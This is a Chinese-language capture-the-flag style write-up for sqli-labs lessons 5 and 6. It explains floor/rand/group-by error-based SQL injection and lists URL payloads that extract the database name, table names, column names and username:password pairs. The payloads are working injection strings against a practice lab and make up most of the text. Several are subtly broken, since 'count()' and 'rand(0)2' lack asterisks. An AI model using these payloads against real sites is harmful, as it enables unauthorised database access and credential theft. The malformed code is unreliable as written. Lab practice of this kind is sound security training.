Sqli-labs-master less-5&6 writeup
首先还是按照流程来走,先看是什么闭合
/?id=1' 报错,于是就知道是单引号闭合了
后面按照less1234的流程来走就行不通了,于是需要考虑别的注入方法,于是引出今日主题:报错注入
报错注入的原理是通过回显错误信息来获得我们需要的重要信息
报错注入有挺多的,但是本例使用的是floor()向下取整报错
要了解这个注入为什么能成功,我们就要从他使用的函数来了解,因为报错一定是源于某个地方的语法,抑或是运行机制出现了问题
在这里我们重点关注的是三个东西:
1、floor()向下取整函数
2、rand()随机函数,产生0-1之间的随机浮点数
3、group by排序指令
三个指令结合,才能够实现我们的报错注入
这其中,最大的问题就在于group by 这一条指令的运行机制,它会运行两次:
第一次:先把group by后面字段的值与虚拟表比对,如果不存在则需要插入表中,在插入时便是第二次运算
第二次:运算后插入
此时,还没有很大的问题,问题就在于rand()函数与这个特性的结合:
在第二次运算的时候,由于rand的随机性,有可能得到与第一次运算相同的结果,这样的话,值已经存在于虚拟表中,再次插入便导致了报错
同时,为了让,第二次的值等于第一次的值,我们再用floor()向下取整,让rand产生的数规范为整数
于是,以上所有的,归纳起来,便得到了我们的报错注入方法
得到库名:
and (select count() from information_schema.tables group by concat((select database()),floor(rand(0)2)))--+
得到表名:
and (select count() from information_schema.tables group by concat((select table_name from information_schema.tables where table_schema=database()),floor(rand(0)2)))--+
得到列名:
and (select count() from information_schema.tables group by concat((select column_name from information_schema.columns where table_schema='database.name' and table_name='表名' limit 0,1),floor(rand(0)2)))--+
得到具体数据:
and (select count() from information_schema.tables group by concat(( select concat(column_name,0x3a,column_name) from database_name.table.name limit 0,1),floor(rand(0)2)))--+
在获取表名的时候,考虑到可能获得不止一行数据,而回显只能一行,可以用limit加以限制
limit 0,1 改动0得到我们需要的
了解完原理之后就以less5和6来做例子,具体实践一下,更好地认知这个漏洞
less-5
书接上文,我们先看库名
payload:/?id=1' and (select count() from information_schema.tables group by concat((select database()),floor(rand(0)2)))--+
然后,再获取表名,此处就放一个图来概括好了
payload:?id=1' and (select count() from information_schema.tables group by concat((select table_name from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)2))) --+
?id=1' and (select count() from information_schema.tables group by concat((select table_name from information_schema.tables where table_schema=database() limit 1,1),floor(rand(0)2))) --+
?id=1' and (select count() from information_schema.tables group by concat((select table_name from information_schema.tables where table_schema=database() limit 2,1),floor(rand(0)2))) --+
?id=1' and (select count() from information_schema.tables group by concat((select table_name from information_schema.tables where table_schema=database() limit 3,1),floor(rand(0)2))) --+
分别得到
emails
referers
uagents
users
然后就是看列名,我们直接看user1的,其他我看过了,意义不大
payload:?id=1' and (select count() from information_schema.tables group by concat((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),floor(rand(0)2)))--+
?id=1' and (select count() from information_schema.tables group by concat((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1,1),floor(rand(0)2)))--+
?id=1' and (select count() from information_schema.tables group by concat((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 2,1),floor(rand(0)2)))--+
分别得到:
id
username
password
最后我们准备拿数据
此处我们要改一下payload,我们要把username和password直接拼一起,一次性回显,免得太麻烦
payload:?id=1' and (select count() from information_schema.tables group by concat(( select concat(username,0x3a,password) from security.users limit 0,1),floor(rand(0)2)))--+
同样改动limit 0,1中0的值来获得,太多就不一一获取了,毕竟已经拿到了第一个,后面的以此类推就好了
然后我们继续研究less-6
单引号,没有报错,双引号,报错
确定了问题出在哪,就还是根据规律对其进行注入
payload:/?id=1" and (select count() from information_schema.tables group by concat((select database()),floor(rand(0)2)))--+
后续payload同less-5,便不再叙述